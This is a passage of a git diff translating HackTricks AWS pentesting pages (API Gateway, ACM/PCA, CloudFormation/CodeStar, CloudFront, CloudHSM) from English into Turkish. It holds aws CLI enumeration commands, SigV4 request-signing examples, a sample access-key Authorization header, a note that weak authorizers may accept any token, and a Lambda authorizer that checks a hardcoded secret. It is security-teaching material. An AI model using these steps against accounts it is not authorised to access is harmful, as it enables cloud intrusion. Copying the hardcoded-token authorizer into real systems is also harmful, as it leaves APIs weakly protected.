correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Kaynaklar**: API Gateway'de kaynaklar, **API'nizin yapısını oluşturan bileşenlerdir**. API'nizin **farklı yollarını veya uç noktalarını** temsil eder ve API'nizin desteklediği çeşitli eylemlerle ilişkilidir. Bir kaynak, her yolun (/, veya /users, veya /user/{id}) **içindeki her yöntemdir** (örneğin, GET, POST, PUT, DELETE). +2. **Aşamalar**: API Gateway'deki aşamalar, API'nizin **farklı sürümlerini veya ortamlarını** temsil eder, örneğin geliştirme, test veya üretim. Aşamaları, API'nizin **birden fazla sürümünü aynı anda yönetmek ve dağıtmak** için kullanabilirsiniz, bu da yeni özellikleri veya hata düzeltmelerini üretim ortamını etkilemeden test etmenizi sağlar. Aşamalar ayrıca, mevcut aşamaya göre API'nizin davranışını yapılandırmak için kullanılabilecek anahtar-değer çiftleri olan **aşama değişkenlerini** de **destekler**. Örneğin, aşama değişkenlerini kullanarak API isteklerini aşamaya bağlı olarak farklı Lambda işlevlerine veya diğer arka uç hizmetlerine yönlendirebilirsiniz. +- Aşama, API Gateway uç noktasının URL'sinin başında belirtilir. +3. **Yetkilendiriciler**: API Gateway'deki yetkilendiriciler, isteğin devam etmesine izin vermeden önce çağrının kimliğini doğrulayarak **API'nize erişimi kontrol etmekten** sorumludur. Kendi kimlik doğrulama ve yetkilendirme mantığınızı uygulamanıza olanak tanıyan özel yetkilendiriciler olarak **AWS Lambda işlevlerini** kullanabilirsiniz. Bir istek geldiğinde, API Gateway isteğin yetkilendirme jetonunu Lambda yetkilendiricisine iletir, bu da jetonu işler ve çağrının hangi eylemleri gerçekleştirmesine izin verildiğini belirleyen bir IAM politikası döner. API Gateway ayrıca **AWS Kimlik ve Erişim Yönetimi (IAM)** ve **Amazon Cognito** gibi **yerleşik yetkilendiricileri** de destekler. +4. **Kaynak Politikası**: API Gateway'deki bir kaynak politikası, **API'nize erişim için izinleri tanımlayan** bir JSON belgesidir. IAM politikasına benzer, ancak özellikle API Gateway için özelleştirilmiştir. Bir kaynak politikasını, API'nize kimin erişebileceğini, hangi yöntemleri çağırabileceklerini ve hangi IP adreslerinden veya VPC'lerden bağlanabileceklerini kontrol etmek için kullanabilirsiniz. **Kaynak politikaları, API'niz için ince ayar erişim kontrolü sağlamak üzere yetkilendiricilerle birleştirilebilir**. +- Değişikliklerin etkili olması için API'nin **kaynak politikası değiştirildikten sonra tekrar dağıtılması gerekir**. -### Logging +### Günlükleme -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +Varsayılan olarak, **CloudWatch Günlükleri** **kapalıdır**, **Erişim Günlüğü** **kapalıdır** ve **X-Ray izleme** de **kapalıdır**. -### Enumeration +### Sayım > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> Hem AWS API'lerinde kaynakları saymak için (**`apigateway`** ve **`apigatewayv2`**) tek ihtiyacınız olan izin ve verilebilecek tek okuma izni **`apigateway:GET`**'dir, bununla **her şeyi sayabilirsiniz.** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## API Gateway uç noktalarına erişim için Farklı Yetkilendirmeler -### Resource Policy +### Kaynak Politikası -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +API uç noktalarını kimin çağırabileceğini tanımlamak için kaynak politikaları kullanmak mümkündür.\ +Aşağıdaki örnekte **belirtilen IP'nin** `/resource_policy` uç noktasını GET ile çağırmasının mümkün olmadığı görülmektedir.
-### IAM Authorizer +### IAM Yetkilendirici -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +Bir yol (kaynak) içindeki bir metodun çağrılması için IAM kimlik doğrulaması gerektirecek şekilde ayarlanması mümkündür.
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +Bu ayar yapıldığında, herhangi bir yetkilendirme olmadan uç noktaya ulaşmaya çalıştığınızda `{"message":"Missing Authentication Token"}` hatasını alırsınız. +Uygulamanın beklediği token'ı oluşturmanın kolay bir yolu **curl** kullanmaktır. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +Başka bir yol, **Postman** içinde **`Authorization`** türü **`AWS Signature`** kullanmaktır.
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +Kullanmak istediğiniz hesabın accessKey ve SecretKey'lerini ayarlayın ve API uç noktasına karşı kimlik doğrulaması yapabilirsiniz. +Her iki yöntem de aşağıdaki gibi bir **Authorization** **header** oluşturacaktır: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +Not edin ki diğer durumlarda **Authorizer** **kötü kodlanmış** olabilir ve **Authorization header** içine **herhangi bir şey** göndermek **gizli içeriği görmeye** **izin verebilir**. ### Request Signing Using Python - ```python pip install requests @@ -193,86 +184,83 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` +### Özel Lambda Yetkilendirici -### Custom Lambda Authorizer - -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +Verilen bir token'a dayalı bir lambda kullanarak, kullanıcının **API uç noktasını çağırma yetkisine sahip olup olmadığını belirten bir IAM politikası** **döndürebilirsiniz**.\ +Yetkilendiriciyi kullanacak her kaynak yöntemini ayarlayabilirsiniz.
-Lambda Authorizer Code Example - +Lambda Yetkilendirici Kod Örneği ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
-Call it with something like: +Bunu şöyle çağırabilirsiniz:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Lambda koduna bağlı olarak, bu yetkilendirme zayıf olabilir -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Eğer bir **reddetme politikası oluşturulup döndürülürse**, API Gateway tarafından döndürülen hata şudur: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +Bu şekilde **bu yetkilendirmenin** mevcut olduğunu belirleyebilirsiniz. -### Required API Key +### Gerekli API Anahtarı -It's possible to set API endpoints that **require a valid API key** to contact it. +API'ye erişmek için **geçerli bir API anahtarı** gerektiren API uç noktaları ayarlamak mümkündür.
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +API Gateway portalında API anahtarları oluşturmak ve bunların ne kadar kullanılabileceğini (saniye başına istek ve ayda istek açısından) ayarlamak mümkündür. -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +Bir API anahtarının çalışması için, onu bir **Kullanım Planı**'na eklemeniz gerekir, bu kullanım planı **API Aşamasına** eklenmeli ve ilişkili API aşamasının, API anahtarını gerektiren **uç noktaya** yapılandırılmış bir **metot sınırlaması** olması gerekir:
-## Unauthenticated Access +## Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -290,14 +278,10 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## Süreklilik {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..804e17edb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -1,19 +1,18 @@ -# AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA) +# AWS - Sertifika Yöneticisi (ACM) & Özel Sertifika Otoritesi (PCA) {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Sertifika Yöneticisi (ACM)**, AWS hizmetleri ve iç kaynaklar için **SSL/TLS sertifikalarının sağlanması, yönetimi ve dağıtımını** kolaylaştırmayı amaçlayan bir hizmet olarak sunulmaktadır. ACM, satın alma, yükleme ve sertifika yenilemeleri gibi manuel süreçlerin gerekliliğini **ortadan kaldırır**. Bu, kullanıcıların **Elastic Load Balancers, Amazon CloudFront dağıtımları ve API Gateway üzerindeki API'ler** dahil olmak üzere çeşitli AWS kaynaklarında sertifika talep etmelerini ve uygulamalarını verimli bir şekilde sağlar. -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +ACM'nin önemli bir özelliği, **sertifikaların otomatik yenilenmesidir**, bu da yönetim yükünü önemli ölçüde azaltır. Ayrıca, ACM, **iç kullanım için özel sertifikaların oluşturulması ve merkezi yönetimini** destekler. Elastic Load Balancing, Amazon CloudFront ve Amazon API Gateway gibi entegre AWS hizmetleri için SSL/TLS sertifikaları ACM aracılığıyla ek bir ücret ödenmeden sağlansa da, kullanıcılar uygulamalarının kullandığı AWS kaynaklarıyla ilgili maliyetlerden ve entegre ACM hizmetleri dışında kullanılan her **özel Sertifika Otoritesi (CA)** ve özel sertifika için aylık bir ücretten sorumludur. -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Özel Sertifika Otoritesi**, özel sertifikaların yönetimini genişleterek ACM'nin yeteneklerini artıran bir **yönetilen özel CA hizmeti** olarak sunulmaktadır. Bu özel sertifikalar, bir organizasyon içindeki kaynakların kimlik doğrulamasında önemli bir rol oynamaktadır. -## Enumeration +## Sayım ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,7 +46,6 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - ## Privesc TODO @@ -59,7 +55,3 @@ TODO TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..57652d524 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation, **AWS kaynaklarının yönetimini kolaylaştırmak** için tasarlanmış bir hizmettir. Kullanıcıların, **kaynak yönetimine harcanan zamanı en aza indirerek** AWS'de çalışan uygulamalarına daha fazla odaklanmalarını sağlar. Bu hizmetin temel özelliği, istenen AWS kaynaklarının **şablonu**—açıklayıcı bir modeldir. Bu şablon sağlandığında, CloudFormation belirtilen kaynakların **sağlanması ve yapılandırılmasından** sorumludur. Bu otomasyon, AWS altyapısının daha verimli ve hatasız bir şekilde yönetilmesini kolaylaştırır. ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +Aşağıdaki sayfada **cloudformation izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Her CloudFormation'ın **şablon, parametreler ve çıktı** kısmında **gizli bilgiler** veya hassas bilgiler için kontrol edin. ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStar, AWS üzerinde yazılım geliştirme projeleri oluşturmak, yönetmek ve çalışmak için bir hizmettir. AWS CodeStar projesi ile AWS üzerinde uygulamaları hızlı bir şekilde geliştirebilir, oluşturabilir ve dağıtabilirsiniz. Bir AWS CodeStar projesi, proje geliştirme araç zinciriniz için **AWS hizmetlerini** oluşturur ve entegre eder. Seçtiğiniz AWS CodeStar proje şablonuna bağlı olarak, bu araç zinciri kaynak kontrolü, derleme, dağıtım, sanal sunucular veya sunucusuz kaynaklar ve daha fazlasını içerebilir. AWS CodeStar ayrıca **proje kullanıcıları için gereken izinleri yönetir** (takım üyeleri olarak adlandırılır). ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,13 +53,12 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +Aşağıdaki sayfada **codestar izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ @@ -73,7 +69,3 @@ In the following page you can check how to **abuse codestar permissions to escal - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..1fbd818ea 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront, AWS'nin **statik ve dinamik içeriğinizin dağıtımını hızlandıran içerik dağıtım ağıdır**. Amazon CloudFront üzerinden barındırdığınız bir içerik talep ettiğinizde, talep en yakın kenar konumuna yönlendirilir ve bu da en düşük gecikme süresi ile en iyi performansı sağlar. **CloudFront erişim günlükleri** etkinleştirildiğinde, web sitenize ve dağıtımınıza erişim talep eden her kullanıcıdan gelen talepleri kaydedebilirsiniz. S3 erişim günlüklerinde olduğu gibi, bu günlükler de **kalıcı ve dayanıklı depolama için Amazon S3'te saklanır**. Günlük kaydını etkinleştirmek için herhangi bir ücret yoktur, ancak günlükler S3'te saklandığı için S3 tarafından kullanılan depolama için ücretlendirilirsiniz. -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +Günlük dosyaları, belirli bir süre boyunca veri toplar ve Amazon CloudFront'un o dağıtım için aldığı talep sayısına bağlı olarak oluşturulan günlük dosyası sayısı değişir. Bu günlük dosyalarının S3'te oluşturulmadığını veya yazılmadığını bilmek önemlidir. S3, yalnızca günlük dosyası dolduğunda teslim edildiği yerdir. **Amazon CloudFront, bu günlükleri S3'e teslim edilene kadar saklar**. Yine, bu günlük dosyalarının boyutuna bağlı olarak bu teslimat **bir ile 24 saat arasında** sürebilir. -**By default cookie logging is disabled** but you can enable it. +**Varsayılan olarak çerez kaydı devre dışıdır** ancak bunu etkinleştirebilirsiniz. ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +CloudFront'ta fonksiyonlar oluşturabilirsiniz. Bu fonksiyonların **cloudfront'ta** tanımlı bir **uç noktası** olacak ve belirtilen **NodeJS kodunu** çalıştıracaktır. Bu kod, AWS yönetimindeki bir makinede çalışan bir **sandbox** içinde çalışacaktır (altındaki işletim sistemine kaçmak için bir sandbox atlatma yöntemine ihtiyacınız olacak). -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +Fonksiyonlar kullanıcıların AWS hesaplarında çalışmadığı için, herhangi bir IAM rolü eklenmez, bu nedenle bu özelliği kötüye kullanarak doğrudan yetki yükseltme mümkün değildir. ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..11bf86109 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,70 +2,64 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Hardware Security Module +## HSM - Donanım Güvenlik Modülü -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM, güvenli kriptografik anahtar depolama için FIPS 140 seviye iki onaylı **donanım cihazıdır** (CloudHSM'nin bir donanım cihazı olduğunu, sanallaştırılmış bir hizmet olmadığını unutmayın). 5.3.13 önceden yüklenmiş bir SafeNetLuna 7000 cihazıdır. İki yazılım sürümü vardır ve hangisini seçeceğiniz tam olarak ihtiyaçlarınıza bağlıdır. Biri FIPS 140-2 uyumluluğu içindir ve kullanılabilecek daha yeni bir sürüm vardır. -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +CloudHSM'nin alışılmadık özelliği, fiziksel bir cihaz olmasıdır ve bu nedenle **diğer müşterilerle paylaşılmaz**, ya da yaygın olarak ifade edildiği gibi, çok kiracılı değildir. Sadece sizin iş yüklerinize özel olarak sunulan tek kiracılı bir cihazdır. -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +Tipik olarak, bir cihaz 15 dakika içinde mevcut olur, kapasite varsa, ancak bazı bölgelerde bu mümkün olmayabilir. -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Bu sizin için ayrılmış fiziksel bir cihaz olduğundan, **anahtarlar cihazda depolanır**. Anahtarlar ya **başka bir cihaza kopyalanmalı**, çevrimdışı depolama alanına yedeklenmeli veya bir yedek cihazına aktarılmalıdır. **Bu cihaz, S3 veya KMS gibi AWS'deki herhangi bir hizmetle desteklenmez.** -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +**CloudHSM'de**, **hizmeti kendiniz ölçeklendirmeniz gerekir**. Çözümünüz için uygulamak istediğiniz şifreleme algoritmalarına dayalı olarak, şifreleme ihtiyaçlarınızı karşılamak için yeterli CloudHSM cihazı sağlamanız gerekir.\ +Anahtar Yönetim Hizmeti ölçeklendirmesi AWS tarafından gerçekleştirilir ve talep üzerine otomatik olarak ölçeklenir, bu nedenle kullanımınız arttıkça, gereken CloudHSM cihazlarının sayısı da artabilir. Çözümünüzü ölçeklendirirken bunu aklınızda bulundurun ve çözümünüz otomatik ölçeklendirme içeriyorsa, maksimum ölçeğinizin çözümü hizmet verecek kadar CloudHSM cihazı ile hesaplandığından emin olun. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Ölçeklendirme gibi, **performans CloudHSM ile size bağlıdır**. Performans, hangi şifreleme algoritmasının kullanıldığına ve anahtarları şifrelemek için ne sıklıkla erişmeniz gerektiğine bağlı olarak değişir. Anahtar yönetim hizmetinin performansı Amazon tarafından yönetilir ve talep gerektikçe otomatik olarak ölçeklenir. CloudHSM'nin performansı daha fazla cihaz ekleyerek elde edilir ve daha fazla performansa ihtiyacınız varsa ya cihaz eklemelisiniz ya da daha hızlı bir algoritmaya şifreleme yöntemini değiştirmelisiniz. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +Çözümünüz **çok bölgeli** ise, ikinci bölgede birkaç **CloudHSM cihazı eklemeli ve bağlantının her katmanında trafiğin her zaman korunduğundan emin olmak için özel bir VPN bağlantısı** veya başka bir yöntemle bölge arası bağlantıyı sağlamalısınız. Çok bölgeli bir çözümünüz varsa, **anahtarları nasıl çoğaltacağınızı ve faaliyet gösterdiğiniz bölgelerde ek CloudHSM cihazları kurmayı düşünmelisiniz**. Çok hızlı bir şekilde, altı veya sekiz cihazın birden fazla bölgeye yayılmış olduğu bir senaryoya girebilirsiniz ve bu, şifreleme anahtarlarınızın tam yedekliliğini sağlar. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM**, güvenli anahtar depolama için kurumsal sınıf bir hizmettir ve **bir işletme için güvenilirlik kökü** olarak kullanılabilir. PKI'de özel anahtarları ve X509 uygulamalarında sertifika otoritesi anahtarlarını depolayabilir. AES gibi simetrik algoritmalarda kullanılan simetrik anahtarların yanı sıra, **KMS yalnızca simetrik anahtarları depolar ve fiziksel olarak korur (sertifika otoritesi olarak hareket edemez)**, bu nedenle PKI ve CA anahtarlarını depolamanız gerekiyorsa bir veya iki CloudHSM çözümünüz olabilir. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM, Anahtar Yönetim Hizmetinden önemli ölçüde daha pahalıdır**. CloudHSM bir donanım cihazıdır, bu nedenle CloudHSM cihazını sağlamak için sabit maliyetleriniz vardır, ardından cihazı çalıştırmak için saatlik bir maliyet vardır. Maliyet, belirli gereksinimlerinizi karşılamak için gereken CloudHSM cihazlarının sayısı ile çarpılır.\ +Ayrıca, SafeNet ProtectV yazılım paketleri gibi üçüncü taraf yazılımların satın alınmasında çapraz değerlendirme yapılmalıdır ve entegrasyon süresi ve çabası göz önünde bulundurulmalıdır. Anahtar Yönetim Hizmeti, kullanım bazlıdır ve sahip olduğunuz anahtar sayısına ve giriş-çıkış işlemlerine bağlıdır. Anahtar yönetimi, birçok AWS hizmeti ile sorunsuz entegrasyon sağladığından, entegrasyon maliyetleri önemli ölçüde daha düşük olmalıdır. 